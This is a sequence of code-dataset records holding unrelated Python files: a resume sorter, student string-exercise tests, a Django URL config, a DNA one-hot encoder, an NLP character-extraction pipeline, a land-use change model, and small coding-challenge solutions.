os.makedirs(sorted_folder_1, exist_ok=True)\n os.makedirs(sorted_folder_0, exist_ok=True)\n\n for file_path, file_content in collected.items():\n print('sorting file: ', file_path)\n\n # Create a separate thread to run the sorting operation with a timeout\n sort_thread = threading.Thread(target=sort_and_move, args=(\n file_path, file_content, nlp, skill_extractor, soft_skill_keywords, sorted_folder_1, sorted_folder_0))\n sort_thread.start()\n sort_thread.join(timeout=60) # Wait for the thread to finish or timeout\n\n # If the thread is still alive, it means sorting took longer than 60 seconds\n if sort_thread.is_alive():\n print(f\"Sorting took longer than 60 seconds for file: {file_path}\")\n destination_folder = sorted_folder_0 # Move the file to folder 0 in case of timeout\n\n # Construct the new file path in the destination folder\n new_file_path = os.path.join(destination_folder, os.path.basename(file_path))\n\n # Move the file to the destination folder\n shutil.move(file_path, new_file_path)\n\n print('++++++++++++++++++++++++++++++++++++++++++')\n\n print('\\ncount: ', len(collected))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Chizaram-Igolo/resume-reader","sub_path":"resume_sorter/sorter.py","file_name":"sorter.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19551908394","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport unittest\n\nimport exercice\n\n\nclass TestExercice(unittest.TestCase):\n def test_pair(self):\n values = [\"hey jad!\", \"abcdefg\", \"0\"]\n\n output = [exercice.is_even_len(v) for v in values]\n answer = [len(v) % 2 == 0 for v in values]\n\n self.assertListEqual(\n output,\n answer,\n 'Mauvaise identification de la parité de la longueur de la chaine'\n )\n\n def test_remove_third_char(self):\n values = [\"hey jad!\", \"abcdefg\", \"01234\"]\n\n output = [exercice.remove_third_char(v) for v in values]\n answer = [v[0:2] + v[3:] for v in values]\n\n self.assertListEqual(\n output,\n answer,\n 'Retrait du mauvais caractère'\n )\n\n def test_replace_char(self):\n values = [\n (\"hey jad!\", \"j\", \"y\"),\n (\"aaaaab\", \"a\", \"b\"),\n (\"01234\", \"0\", \"a\")\n ]\n\n output = [exercice.replace_char(v[0], v[1], v[2]) for v in values]\n answer = [v[0].replace(v[1], v[2]) for v in values]\n\n self.assertListEqual(\n output,\n answer,\n 'Erreur dans le remplacement de caractère'\n )\n \n def test_get_nb_char(self):\n values = [\n (\"aaaa123\", \"a\"),\n (\"athse wqc re\", \"s\"),\n (\"aaaa\", \"x\")\n ]\n\n output = [exercice.get_nb_char(v[0], v[1]) for v in values]\n answer = [v[0].count(v[1]) for v in values]\n\n self.assertListEqual(\n output,\n answer,\n \"Mauvais calcul du nombre d'occurences du caractère\"\n )\n\n def test_get_nb_words(self):\n values = [\n (\"Comment allez vous aller chez vous\"),\n (\"Bonjour hello ok salut merci\"),\n (\"The 2006 Subway 500 was the 32nd stock car race of the 2006 NASCAR Nextel Cup Series and the sixth in the ten-race Chase for the Nextel Cup.\")\n ]\n\n output = [exercice.get_nb_words(v[0], v[1]) for v in values]\n answer = [len(v.split()) for v in values]\n\n self.assertListEqual(\n output,\n answer,\n \"Mauvais calcul du nombre de mots dans une phrase.\"\n )\n\n\nif __name__ == '__main__':\n if not os.path.exists('logs'):\n os.mkdir('logs')\n with open('logs/tests_results.txt', 'w') as f:\n loader = unittest.TestLoader()\n suite = loader.loadTestsFromModule(sys.modules[__name__])\n unittest.TextTestRunner(f, verbosity=2).run(suite)","repo_name":"INF1007-Gabarits/2020A_C03_ch4_exercices","sub_path":"test_exercice.py","file_name":"test_exercice.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16081216677","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author: jenny\n# datetime: 2022/1/6 16:34 \n# File :urls.py\nfrom django.urls import path\nfrom . import views\n\napp_name = 'notice'\n\nurlpatterns = [\n # 通知列表\n path('list/', views.CommentNoticeListView.as_view(), name='list'),\n # 更新通知状态\n path('update/', views.CommentNoticeUpdateView.as_view(), name='update'),\n\n]\n","repo_name":"niezhe/django_project_test","sub_path":"notice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35357759282","text":"import csv\nimport os.path\nimport gzip\nimport h5py\nimport numpy as np\n\nclass Gene(object):\n def __init__(self,genename,chrno,start,end,strand):\n self.genename = genename\n self.chrno = chrno\n self.start = int(start)\n self.end = int(end)\n self.strand = strand\n\ndef readBED(BEDfile):\n '''reads in a GTF file and returns a dictionary of gene object lists containing \n relevant gene info (i.e., chromosome number, gene name, +/- strand, \n start, end) for each gene indexed by chromosome number'''\n\n annot_dict = {}\n with gzip.open(BEDfile,'r') as f:\n reader = csv.reader(f,delimiter='\\t')\n for line in reader:\n chrno = line[0]\n start = line[3] #line[1]\n end = line[4] #line[2]\n genename = line[8] #line[3]\n strand = line[6] # line[4]\n\n if chrno not in annot_dict:\n annot_dict[chrno] = []\n annot_dict[chrno].append(Gene(genename,chrno,start,end,strand))\n \n return annot_dict\n\ndef reverse_complement(seq):\n '''outputs the reverse complement of an inputted DNA sequence'''\n\n revcomp = \"\"\n\n for s in reversed(seq):\n if s == \"A\":\n revcomp += \"T\"\n elif s == \"C\":\n revcomp += \"G\"\n elif s == \"G\":\n revcomp += \"C\"\n elif s == \"T\":\n revcomp += \"A\"\n else:\n revcomp += \"N\"\n return revcomp\n\ndef getchrSequences(annot_dict,chrno,chrdat_dir):\n '''gets the DNA sequences for all genes in a particular chromosome by \n reading through a FASTA file containing the sequence for that chromosome\n\n (NOTE: the FASTA file must be named chrX.fa if looking for chromsome X'''\n\n # dictionary of region sequences indexed by gene name\n region_dict = {}\n\n # get entire chromosome sequence\n with gzip.open(chrdat_dir + '/chr'+ chrno + '.fa.gz','r') as f:\n reader = csv.reader(f,delimiter='\\t')\n reader.next() # ignore header\n sequence = ''\n for line in reader:\n sequence += line[0]\n\n for geneObj in annot_dict[chrno]:\n region_seq = sequence[geneObj.start-1:geneObj.end-1]\n\n if geneObj.strand == '-':\n region_seq = reverse_complement(region_seq)\n\n region_dict[geneObj] = region_seq\n\n return region_dict\n\ndef readSequences(annot_dict,chrdat_dir):\n '''uses an annotation dictionary and genome-wide FASTA files to obtain\n region sequences for all genes in the genome'''\n\n seq_dict = {}\n\n for chrno in annot_dict:\n print(chrno)\n if os.path.isfile(chrdat_dir + '/chr' + chrno + '.fa.gz'):\n seq_dict.update(getchrSequences(annot_dict,chrno,chrdat_dir))\n return seq_dict\n\n# def writeSequence(seq_dict,outfile_name):\n# '''writes the sequences for each indexed region/gene in the sequence \n# dictionary to a file in FASTA format'''\n\n# f = open(outfile_name,'w')\n# writer = csv.writer(f,delimiter=' ')\n\n# for region in seq_dict:\n# writer.writerow(['>',region])\n# for i in range(0,len(seq_dict[region]),80):\n# writer.writerow([seq_dict[region][i:i+80]])\n\n# f.close()\n\ndef one_hot_encode_sequence(seq):\n '''converts a DNA sequence into its corresponding one-hot encoding \n representation'''\n\n seq = seq.lower()\n letterdict = {'a': [1, 0, 0, 0], 't': [0, 1, 0, 0], 'c': [0, 0, 1, 0],\n 'g': [0, 0, 0, 1], 'n': [0.25, 0.25, 0.25, 0.25]}\n \n result = np.array([letterdict[x] for x in seq])\n\n return np.expand_dims(result.T,3)\n\ndef convertWriteSeq(seq_dict,outfile):\n '''converts the sequences represented in the inputted annotation dictionary\n to one-hot encoded sequences and writes the sequences along with their gene\n names to HDF5 files'''\n\n print(len(seq_dict))\n # convert dictionary of sequences to dictionary of one-hot encoded sequences\n onehotseq_dict = {geneObj: one_hot_encode_sequence(seq_dict[geneObj]) for \\\n geneObj in seq_dict}\n\n # sort gene objects by gene name\n sorted_geneObj = sorted(seq_dict.keys(), key=lambda x: x.genename)\n\n # generate list of gene names and sequences in order to be written\n gene_list = []\n onehotSeqs = []\n for geneObj in sorted_geneObj:\n gene_list.append(geneObj.genename)\n onehotSeqs.append(onehotseq_dict[geneObj])\n\n gene_list = np.array(gene_list)\n onehotSeqs = np.array(onehotSeqs)\n\n dt = h5py.special_dtype(vlen=unicode)\n\n f = h5py.File(outfile,'w')\n f.create_dataset('dnaseq',data=onehotSeqs,dtype='f',compression='gzip')\n f.create_dataset('genes',data=gene_list,dtype=dt,compression='gzip')\n f.close()\n\ndef writeBEDSeqHDF5(BEDfile,genomedat_dir,outfile):\n '''takes a BED file and a directory containing FASTA files as input and\n writes the sequences in the BED file to an HDF5 file in one-hot encoded\n form'''\n\n annot_dict = readBED(BEDfile)\n seq_dict = readSequences(annot_dict,genomedat_dir)\n convertWriteSeq(seq_dict,outfile)\n\nwriteBEDSeqHDF5('data/annotation_files/boo.gtf.gz','data/genome_files/sBoul','blah.h5')","repo_name":"stella-gao/DeepLearning-DNA","sub_path":"writeSeqHDF5.py","file_name":"writeSeqHDF5.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32367705854","text":"from entities import *\nimport time, os, sys, re, json, collections\nfrom multiprocessing import Pool\nimport string \n\nfrom fuzzywuzzy import fuzz\nimport pandas as pd\n# Load your usual SpaCy model (one of SpaCy English models)\nimport spacy\n\n# Add neural coref to SpaCy's pipe\nimport neuralcoref\n\nfrom transformers import BertTokenizer, BertForSequenceClassification\nimport torch\nimport torch.nn.functional as nnf\nimport numpy as np\nfrom functools import wraps\nimport errno\nimport os\nimport signal\n\nclass TimeoutError(Exception):\n pass\n\ndef timeout(seconds=10, error_message=os.strerror(errno.ETIME)):\n def decorator(func):\n def _handle_timeout(signum, frame):\n raise TimeoutError(error_message)\n\n def wrapper(*args, **kwargs):\n signal.signal(signal.SIGALRM, _handle_timeout)\n signal.alarm(seconds)\n try:\n result = func(*args, **kwargs)\n finally:\n signal.alarm(0)\n return result\n\n return wraps(func)(wrapper)\n\n return decorator\n\n\n\n\nstop_words = spacy.lang.en.stop_words.STOP_WORDS\nemotions = ['admiration','amusement','anger','annoyance','approval','caring','confusion','curiosity',\\\n 'desire','disappointment','disapproval','disgust','embarrassment','excitement','fear',\\\n 'gratitude','grief','joy','love','nervousness','optimism','pride','realization','relief',\\\n 'remorse','sadness','surprise','neutral']\nreduced_emotions = { 'admiration' : 'pos', 'amusement' : 'pos', 'anger' : 'neg', 'annoyance' : 'neg', 'approval' : 'pos',\n 'caring' : 'pos', 'confusion' : 'amb', 'curiosity' : 'amb', 'desire' : 'pos', 'disappointment' : 'neg', 'disapproval' : 'neg',\n 'disgust' : 'neg', 'embarrassment' : 'neg', 'excitement' : 'pos', 'fear' : 'neg', 'gratitude' : 'pos', 'grief' : 'neg',\n 'joy' : 'pos', 'love' : 'pos', 'nervousness' : 'neg', 'optimism' : 'pos','pride' : 'pos', 'realization' : 'amb',\n 'relief' : 'pos', 'remorse' : 'neg', 'sadness' : 'neg', 'surprise' : 'amb', 'neutral' : 'amb'}\n\n'''\nParse a mention and the sentence in which it occurs\nin order to extract the patient, agent, and predicative\nwords used in relation to the entity mentioned. Par_id is the \nindex of the 'chunk' of text that the sentence was included in.\n'''\ndef parse_sent_and_mention(sent, mention, par_id):\n agents = []\n patients = []\n predicatives = []\n # Iterate over tokens in the mention\n for token in mention:\n token_tag = sent.token_tags[token.i - sent.global_token_start]\n # If the token's dependency tag is nsubj, find it's parent and set the lemma of this word to\n # be an agent of this entity.\n if token_tag.dep == 'nsubj':\n idx = token_tag.head_global_id - sent.global_token_start\n agent_verb = sent.token_tags[idx].lemma\n agents.append(Occurrence(agent_verb, sent.sentence_id, par_id, idx, idx+1))\n #print(\" mention: \", mention, \" token: \", token, \" id \", token.i, \"agent : \", agent_verb)\n \n # If the token's dependency tag is dobj or nsubjpass, find it's parent and set the lemma of this word to\n # be an patient of this entity.\n if (token_tag.dep == 'dobj') or (token_tag.dep == 'nsubjpass'):\n idx = token_tag.head_global_id - sent.global_token_start\n patient_verb = sent.token_tags[idx].lemma\n patients.append(Occurrence(patient_verb, sent.sentence_id, par_id, idx, idx+1))\n #print(\" mention: \", mention, \" token: \", token, \" id \", token.i, \"patient : \", patient_verb)\n\n # Now we handle dependencies in the other direction to get predicatives.\n # 'man' is the predicative of 'Tim' in the sentence \"Tim is a man.\"\n # Iterate over sentence tokens\n for token_tag in sent.token_tags:\n # Only consider tokens not in the mention:\n if not ((token_tag.token_global_id >= mention.start) and (token_tag.token_global_id <= mention.end)):\n # ignore punctuation\n if token_tag.pos != 'PUNCT':\n # Check if the parent of the word is a \"be\" verb (is, are, be, etc.)\n if sent.token_tags[token_tag.head_global_id - sent.global_token_start].lemma == \"be\":\n to_be_verb = sent.token_tags[token_tag.head_global_id - sent.global_token_start]\n # Check if the parent of the \"be\" verb is part of the mention\n if (to_be_verb.head_global_id >= mention.start) and (to_be_verb.head_global_id <= mention.end):\n idx = token_tag.token_global_id - sent.global_token_start\n pred_word = sent.token_tags[idx].lemma\n predicatives.append(Occurrence(pred_word, sent.sentence_id, par_id, idx, idx+1))\n #print(\" mention: \", mention, \" token: \", token, \" id \", token_tag.token_global_id, \"predicative : \", pred_word)\n \n return agents, patients, predicatives\n \ndef denoise_string(s):\n exclude = set(string.punctuation)\n s = s.lower()\n s = ''.join(ch for ch in s if ch not in exclude).strip()\n s = ' '.join([x for x in s.split(' ') if x not in stop_words])\n if s =='':\n s = 'STOP_WORD'\n return s\n\n\n\ndef parse_into_sentences_characters(inp):\n text, par_id = inp\n doc = nlp(text)\n # parse into sentences\n sentences = []\n sentence_id_for_tokens = []\n for s, sent in enumerate(doc.sents):\n tokens = doc[sent.start:sent.end]\n sentence_id_for_tokens += [s] * len(tokens)\n token_tags = [TOKEN_TAGS(i, token.i, token.text, token.lemma_, token.pos_, token.pos_, token.dep_, token.head.i) for i, token in enumerate(tokens)]\n emotion_tags = Emotion(None,None,None)\n sentences.append(Sentence(s, par_id, sent.start, sent.text, token_tags, emotion_tags))\n corefs = {}\n if doc._.has_coref:\n \n for cluster in doc._.coref_clusters:\n # If an entry for this coref doesn't yet exist, create one\n main_name = denoise_string(cluster.main.text)\n\n if main_name in stop_words or main_name=='STOP_WORD':\n continue\n\n if not ( main_name in corefs):\n corefs[main_name] = {\"mentions\" : [], \"agents\" : [], \"patients\" : [], \"preds\" : []}\n # Update the entry with new mention and any parsed verbs or predicatives\n for mention in cluster.mentions:\n mention_name = denoise_string(mention.text)\n mention_sent = sentence_id_for_tokens[mention.start]\n corefs[main_name][\"mentions\"].append(Occurrence(mention_name, mention_sent, par_id, mention.start, mention.end))\n agents, patients, preds = parse_sent_and_mention(sentences[mention_sent], mention, par_id)\n corefs[main_name][\"agents\"] += agents\n corefs[main_name][\"patients\"] += patients\n corefs[main_name][\"preds\"] += preds \n\n return sentences, corefs\n\n\n\ndef get_merged_characters(coref_dicts, max_fuzz = 70):\n characters = []\n main_coref = {}\n for dict_ in coref_dicts:\n for k,v in dict_.items():\n if k in main_coref:\n main_coref[k][\"mentions\"] += v[\"mentions\"]\n main_coref[k][\"agents\"] += v[\"agents\"]\n main_coref[k][\"patients\"] += v[\"patients\"]\n main_coref[k][\"preds\"] += v[\"preds\"]\n else:\n main_coref[k] = v\n \n merged_coref = {}\n char_counts = {}\n for k,v in main_coref.items():\n added = 0\n for merged_char in merged_coref.keys():\n if fuzz.ratio(merged_char, k) > max_fuzz:\n merged_coref[merged_char][\"mentions\"] += v[\"mentions\"]\n merged_coref[merged_char][\"agents\"] += v[\"agents\"]\n merged_coref[merged_char][\"patients\"] += v[\"patients\"]\n merged_coref[merged_char][\"preds\"] += v[\"preds\"]\n added = 1\n char_counts[merged_char]+=len(v['mentions'])\n break\n if added==0:\n merged_coref[k] = v\n char_counts[k]=len(v['mentions'])\n \n \n char_counts = [[k,char_counts[k]] for k in char_counts]\n char_counts = sorted(char_counts, key=lambda x: x[1], reverse=True)\n # print(char_counts)\n ranked_chars = [x[0] for x in char_counts]\n for char in merged_coref:\n rank = ranked_chars.index(char) + 1\n character = Character(rank, char, merged_coref[char]['mentions'], merged_coref[char]['agents'], merged_coref[char]['patients'], merged_coref[char]['preds'])\n characters.append(character)\n \n return characters\n\ndef convert_text_to_chunks(text, max_chunk_size):\n # split on newlines followed by space\n pars = re.split('\\n\\s', text) \n # Replace newline chars\n pars = [par.replace(\"\\n\", \" \") for par in pars]\n # Remove empty pars\n pars = [par for par in pars if len(par) > 0]\n \n #Preprocess \"paragraphs\" that are actually quotes or single lined text\n final_pars = []\n for p,paragraph in enumerate(pars):\n \n if paragraph.count(\".\")<5:\n if p==0:\n final_pars.append(paragraph)\n else:\n final_pars[-1] = final_pars[-1] + \" \" + paragraph\n else:\n final_pars.append(paragraph)\n \n # TOTAL_CHUNKS = 5\n # pars_per_chunk = round(len(final_pars)/TOTAL_CHUNKS) \n MAX_CHUNK_LENGTH = max_chunk_size\n final_chunks = ['']\n chunk_id = 0\n par_id = 0\n # while chunk_id * pars_per_chunk < len(final_pars):\n # final_chunks.append((' '.join(final_pars[chunk_id * pars_per_chunk : min((chunk_id + 1 ) * pars_per_chunk,len(final_pars))]), chunk_id))\n # chunk_id+=1\n # return final_chunks\n while par_id < len(final_pars):\n if len(final_chunks[chunk_id])>MAX_CHUNK_LENGTH:\n chunk_id+=1\n final_chunks.append('')\n final_chunks[chunk_id] = final_chunks[chunk_id] + ' ' + final_pars[par_id]\n par_id+=1\n final_chunks = [(chunk,ch) for ch,chunk in enumerate(final_chunks)]\n return final_chunks\n\ndef get_emotion_per_batch(batch, tokenizer, model):\n inputs = tokenizer(batch, is_split_into_words=True, return_tensors='pt', padding=True).to('cuda')\n outputs = model(**inputs)\n logits = outputs.logits\n probs = nnf.softmax(logits, dim=1).cpu().data.numpy()\n emotion_res = [emotions[x] for x in np.argmax(probs, axis=1)]\n emo_prob = list(np.max(probs, axis=1))\n mini_emotion_res = [reduced_emotions[emotion] for emotion in emotion_res]\n return (emotion_res, mini_emotion_res, emo_prob)\n\ndef generate_sentence_batches(sentences, BATCH_SIZE=16):\n i=0\n while i*BATCH_SIZE0, landuseNei/(neiSize*neiSize), 0)\r\n landuseMap = areatotal(MyFirstModel.toScalar(categoryMap, categoryInt),\\\r\n categoryMap == categoryInt)\r\n secondfactor = ifthenelse(landuseMap/total>0,landuseMap/total,0)\r\n enrichment = ifthenelse(firstfactor == 0,scalar(0),ifthenelse(secondfactor==0,scalar(0),firstfactor/secondfactor))\r\n return enrichment\r\n\r\n def meanenrichment(enrichment, categoryMap, categoryInt):\r\n meanenrichment = areatotal(enrichment, categoryMap == categoryInt)/\\\r\n areatotal(MyFirstModel.toScalar(categoryMap, categoryInt),\\\r\n categoryMap == categoryInt)\r\n return meanenrichment\r\n \r\n def __init__(self):\r\n DynamicModel.__init__(self)\r\n setclone('randstad.map')\r\n\r\n def initial(self):\r\n \r\n #reading landuse map\r\n self.landuse = self.readmap('randstad')\r\n self.report(self.landuse,'randstad')\r\n\r\n #category\r\n categoryTable = \"category.tbl\"\r\n self.category = lookupnominal(categoryTable, self.landuse)\r\n self.report(self.category, 'category')\r\n #urban\r\n self.residential = self.category == 1\r\n self.report(self.residential,'resident')\r\n\r\n initcategory = self.category\r\n self.report(initcategory, 'initcat')\r\n\r\n #initial urban\r\n initresidential = self.category == 1\r\n self.report(initresidential, 'initres')\r\n\r\n #counting total number of cells\r\n totalScalar = ifthenelse(self.landuse == -1, scalar(0), scalar(1))\r\n totalNominal = nominal(totalScalar)\r\n self.total = areatotal(totalScalar, totalNominal)\r\n \r\n def dynamic(self):\r\n\r\n #initializing scalars\r\n #urbanScalar = scalar(self.urban)\r\n airportScalar = MyFirstModel.toScalar(self.category, 8)\r\n #trafficScalar = scalar(self.category == 8)\r\n #recreationScalar = scalar(self.category == 2)\r\n #greenhouseScalar = scalar(self.category == 3)\r\n #agriScalar = scalar(self.category == 4)\r\n #natureScalar = scalar(self.category == 5)\r\n waterScalar = MyFirstModel.toScalar(self.category, 6)\r\n #outsideWaterScalar = scalar(self.category == 7)\r\n #counting # close neighbours of each category\r\n #closenoOfUrban=windowtotal(urbanScalar, celllength()*3)\r\n #closenoOfAirport=windowtotal(airportScalar, celllength()*3)-airportScalar\r\n #closenoOfTraffic=windowtotal(trafficScalar, celllength()*3)-trafficScalar\r\n #closenoOfRecreation=windowtotal(recreationScalar, celllength()*3)-recreationScalar\r\n #closenoOfGreenhouse=windowtotal(greenhouseScalar, celllength()*3)-greenhouseScalar\r\n #closenoOfAgri=windowtotal(agriScalar, celllength()*3)-agriScalar\r\n #closenoOfNature=windowtotal(natureScalar, celllength()*3)-natureScalar\r\n #closenoOfInsideWater=windowtotal(insideWaterScalar, celllength()*3)-insideWaterScalar\r\n #closenoOfOutsideWater=windowtotal(outsideWaterScalar, celllength()*3)-outsideWaterScalar\r\n \r\n #counting # distant neighbours of each category\r\n #distantnoOfUrban=windowtotal(urbanScalar, celllength()*7)-urbanScalar\r\n #distantnoOfAirport=windowtotal(airportScalar, celllength()*7)-airportScalar\r\n #distantnoOfTraffic=windowtotal(trafficScalar, celllength()*7)-trafficScalar\r\n #distantnoOfRecreation=windowtotal(recreationScalar, celllength()*7)-recreationScalar\r\n #distantnoOfGreenhouse=windowtotal(greenhouseScalar, celllength()*7)-greenhouseScalar\r\n #distantnoOfAgri=windowtotal(agriScalar, celllength()*7)-agriScalar\r\n #distantnoOfNature=windowtotal(natureScalar, celllength()*7)-natureScalar\r\n #distantnoOfInsideWater=windowtotal(insideWaterScalar, celllength()*7)-insideWaterScalar\r\n #distantnoOfOutsideWater=windowtotal(outsideWaterScalar, celllength()*7)-outsideWaterScalar\r\n\r\n #enrichment factors\r\n closeResidentialEnrich = MyFirstModel.enrichment(self.category, 1, 3, self.total)\r\n closeIndustrialEnrich = MyFirstModel.enrichment(self.category, 7, 3, self.total)\r\n closeNatureEnrich = MyFirstModel.enrichment(self.category, 5, 3, self.total)\r\n distantResidentialEnrich = MyFirstModel.enrichment(self.category, 1, 7, self.total)\r\n distantIndustrialEnrich = MyFirstModel.enrichment(self.category, 7, 7, self.total)\r\n self.report(closeResidentialEnrich, \"cre\")\r\n self.report(closeIndustrialEnrich, \"cie\")\r\n self.report(closeNatureEnrich, \"cne\")\r\n self.report(distantResidentialEnrich,\"dre\")\r\n self.report(distantIndustrialEnrich,\"die\")\r\n\r\n\r\n #assigning coefficents for each category\r\n constant = -5.537\r\n\r\n #cellUrbanWeight = 0.364\r\n cellAirportWeight = -1000\r\n #cellTrafficWeight = -0.5\r\n #cellRecreationWeight = -0.5\r\n #cellGreenhouseWeight = -0.5\r\n #cellAgriWeight = 0\r\n #cellNatureWeight = -0.201\r\n cellWaterWeight = -1000\r\n #cellOutsideWaterWeight = -1000\r\n \r\n closeResidentialWeight = 0.864\r\n closeIndustrialWeight = 0.823\r\n #closeAirportWeight = 0.364\r\n #closeTrafficWeight = 0.364\r\n #closeRecreationWeight = 0.2\r\n #closeGreenhouseWeight = 0\r\n #closeAgriWeight = -0.05\r\n closeNatureWeight = -0.101\r\n #closeInsideWaterWeight = 0.1\r\n #closeOutsideWaterWeight = 0\r\n \r\n distantResidentialWeight = 0.890\r\n distantIndustrialWeight = 0.828\r\n #distantAirportWeight = 0.01\r\n #distantTrafficWeight = 0.01\r\n #distantRecreationWeight = 0.01\r\n #distantGreenhouseWeight = 0\r\n #distantAgriWeight = 0\r\n #distantNatureWeight = 0\r\n #distantInsideWaterWeight = 0.01\r\n #distantOutsideWaterWeight = 0\r\n\r\n #formula\r\n #newUrban = constant + cellUrbanWeight * urbanScalar + cellAirportWeight *\\\r\n #airportScalar + cellTrafficWeight * trafficScalar + cellRecreationWeight *\\\r\n #recreationScalar + cellGreenhouseWeight * greenhouseScalar + cellAgriWeight*\\\r\n #agriScalar + cellNatureWeight * natureScalar + cellInsideWaterWeight*\\\r\n #insideWaterScalar + cellOutsideWaterWeight * outsideWaterScalar +\\\r\n #closeUrbanWeight * closenoOfUrban + closeAirportWeight * closenoOfAirport +\\\r\n #closeTrafficWeight * closenoOfTraffic + closeRecreationWeight *\\\r\n #closenoOfRecreation + closeGreenhouseWeight * closenoOfGreenhouse +\\\r\n #closeAgriWeight * closenoOfAgri + closeNatureWeight * closenoOfNature +\\\r\n #closeInsideWaterWeight * closenoOfInsideWater + closeOutsideWaterWeight *\\\r\n #closenoOfOutsideWater + distantUrbanWeight * distantnoOfUrban +\\\r\n #distantAirportWeight * distantnoOfAirport + distantTrafficWeight *\\\r\n #distantnoOfTraffic + distantRecreationWeight * distantnoOfRecreation +\\\r\n #distantGreenhouseWeight * distantnoOfGreenhouse + distantAgriWeight *\\\r\n #distantnoOfAgri + distantNatureWeight * distantnoOfNature+\\\r\n #distantInsideWaterWeight * distantnoOfInsideWater +\\\r\n #distantOutsideWaterWeight * distantnoOfOutsideWater\r\n exponent = exp(constant + cellAirportWeight * airportScalar + cellWaterWeight *\\\r\n waterScalar + closeResidentialWeight * closeResidentialEnrich +\\\r\n closeIndustrialWeight * closeIndustrialEnrich + closeNatureWeight*\\\r\n closeNatureEnrich + distantResidentialWeight *\\\r\n distantResidentialEnrich + distantIndustrialWeight *\\\r\n distantIndustrialEnrich)\r\n self.report(exponent, 'exp')\r\n localprob = exp(constant + cellAirportWeight * airportScalar + cellWaterWeight *\\\r\n waterScalar + closeResidentialWeight * closeResidentialEnrich +\\\r\n closeIndustrialWeight * closeIndustrialEnrich + closeNatureWeight*\\\r\n closeNatureEnrich + distantResidentialWeight *\\\r\n distantResidentialEnrich + distantIndustrialWeight *\\\r\n distantIndustrialEnrich)/ (1 + exp(constant + cellAirportWeight * airportScalar + cellWaterWeight *\\\r\n waterScalar + closeResidentialWeight * closeResidentialEnrich +\\\r\n closeIndustrialWeight * closeIndustrialEnrich + closeNatureWeight*\\\r\n closeNatureEnrich + distantResidentialWeight *\\\r\n distantResidentialEnrich + distantIndustrialWeight *\\\r\n distantIndustrialEnrich))\r\n\r\n self.report(localprob, 'locprob')\r\n\r\n numberDeveloped = MyFirstModel.noofNei(self.category, 1, 3) +\\\r\n MyFirstModel.noofNei(self.category, 7, 3)\r\n\r\n devdens = numberDeveloped/(3*3-1)\r\n self.report(devdens, \"devdens\")\r\n\r\n stochTestFac = 1\r\n stochTestEff = 10\r\n\r\n stochdis = (1+(-ln(stochTestFac)**stochTestEff))\r\n self.report(stochdis,\"stodis\")\r\n\r\n newResidential = localprob * devdens * stochdis\r\n self.report(newResidential, 'newres')\r\n\r\n potentRes = newResidential > 0.5\r\n self.report(potentRes, \"potRes\")\r\n\r\n residentialTreshold = pcrand(newResidential > 0.5, pcrnot(self.residential))\r\n self.report(residentialTreshold,'restres') \r\n\r\n # update residential map\r\n self.residential = pcror(residentialTreshold, self.residential)\r\n self.report(self.residential,'resident')\r\n self.category = ifthenelse(self.residential, 1, self.category)\r\n self.report(self.category, 'category')\r\n \r\n\r\nnrOfTimeSteps=20\r\nmyModel = MyFirstModel()\r\ndynamicModel = DynamicFramework(myModel,nrOfTimeSteps)\r\ndynamicModel.run()\r\n\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"anedicksh/CA-landusechange-Randstad","sub_path":"Model_1.py","file_name":"Model_1.py","file_ext":"py","file_size_in_byte":9754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8126722581","text":"#!/usr/bin/env python\n\"\"\"\n Created by ZhuYB at 2022/11/15\n\"\"\"\n# Given an integer n, return all the numbers in the range [1, n] sorted in lexicographical order.\n#\n# You must write an algorithm that runs in O(n) time and uses O(1) extra space.\n# Input: n = 13\n# Output: [1,10,11,12,13,2,3,4,5,6,7,8,9]\n\n\nclass Solution(object):\n def lexicalOrder(self, n):\n \"\"\"\n :type n: int\n :rtype: List[int]\n \"\"\"\n stack = []\n for i in range(min(n, 9), 0, -1):\n stack.append(i)\n print(stack)\n ans = []\n while stack:\n curr = stack.pop()\n ans.append(curr)\n for i in range(9, -1, -1):\n nxt = curr * 10 + i\n if nxt <= n:\n stack.append(nxt)\n return ans\n # while stack:\n # curr = stack.pop()\n # for nxt in range(1, 10):\n # print(curr + str(nxt))\n # if int(curr + str(nxt)) < n and curr + str(nxt) not in stack:\n # stack.append(curr + str(nxt))\n # return stack\n\n\nif __name__ == \"__main__\":\n s = Solution()\n s.lexicalOrder(13)\n","repo_name":"YingbingZhu/python_leetcode","sub_path":"trie/386. Lexicographical Numbers.py","file_name":"386. Lexicographical Numbers.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6040304638","text":"import math, os, random, re, sys\n\nn = 7\nar = [1, 2, 1, 2, 1, 3, 2]\n\n\ndef sockMerchant(n, ar):\n bank = {}\n pairs = 0\n for i in ar:\n bank.update({i: 0})\n for i in ar:\n bank[i] += 1\n\n for i in bank:\n pairs += math.floor(bank[i] / 2)\n\n print(pairs)\n return pairs\n\n\nsockMerchant(n, ar)\n","repo_name":"nprasad2077/hacker-rank-lesson","sub_path":"sockMerchant/sockMerchant.py","file_name":"sockMerchant.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40171011248","text":"import requests\r\nimport random\r\n\r\nnumVerses = 3\r\n\r\nclass Line:\r\n tag = \"\"\r\n line = \"\"\r\n endword = \"\"\r\n\r\ndef getRhymes(word):\r\n r = requests.get('https://www.rhymezone.com/r/rhyme.cgi?Word=' + word + '&org1=syl&org2=l&org3=y&typeofrhyme=perfect')\r\n rtext = r.text\r\n rhymes = []\r\n for line in 